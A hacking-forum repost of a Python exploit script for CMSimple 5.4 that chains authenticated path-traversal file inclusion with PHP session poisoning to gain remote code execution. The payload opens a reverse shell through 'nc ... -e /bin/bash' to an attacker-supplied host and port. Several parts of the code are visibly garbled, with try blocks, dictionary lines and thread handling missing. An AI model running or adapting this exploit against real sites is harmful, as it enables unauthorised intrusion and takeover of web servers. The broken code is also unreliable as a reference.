Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)



Recommended Posts

# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version:  CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup

x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "","https": "",}
def Login():
		global Time
		s = requests.Session()
		headers= {"Content-Type": "application/x-www-form-urlencoded"}
		data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

		response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
		if response.cookies['passwd']:
			print("(+) Sucessfully Logged In With " + User + ":" + Password)

			cookies = response.cookies
			params = (('file', 'config'),('action', 'array'),)
			response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
			soup = BeautifulSoup(response.text, 'lxml')
			CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
			print("(+) Get CSRF Token  : [ " + CsrfValue + " ]")
			data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
			response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
			print("(+) Changing Functions file Done  ")
			print("(+) Check Your nc listner on " + LPORT)
	except Exception as error:
		print("Error, Exiting;( ")
def fuzz():
	while True:
			sessionName = "S1lv3r"
			cookies = {'PHPSESSID': sessionName}
				'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
				'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
			x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
		except Exception as error:
def main():
	print("\n(+) CMSimple LFI to RCE \n")
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
	for thread in threads:

if __name__ == "__main__":

    if len(sys.argv) <= 5:
        print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 1337 ".format(sys.argv[0]))
        print("\n(=) SiLvEr \n")
    	RHOST = sys.argv[1]
    	LHOST = sys.argv[2]
    	LPORT = sys.argv[3]
    	User =  sys.argv[4]
    	Password = sys.argv[5]
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...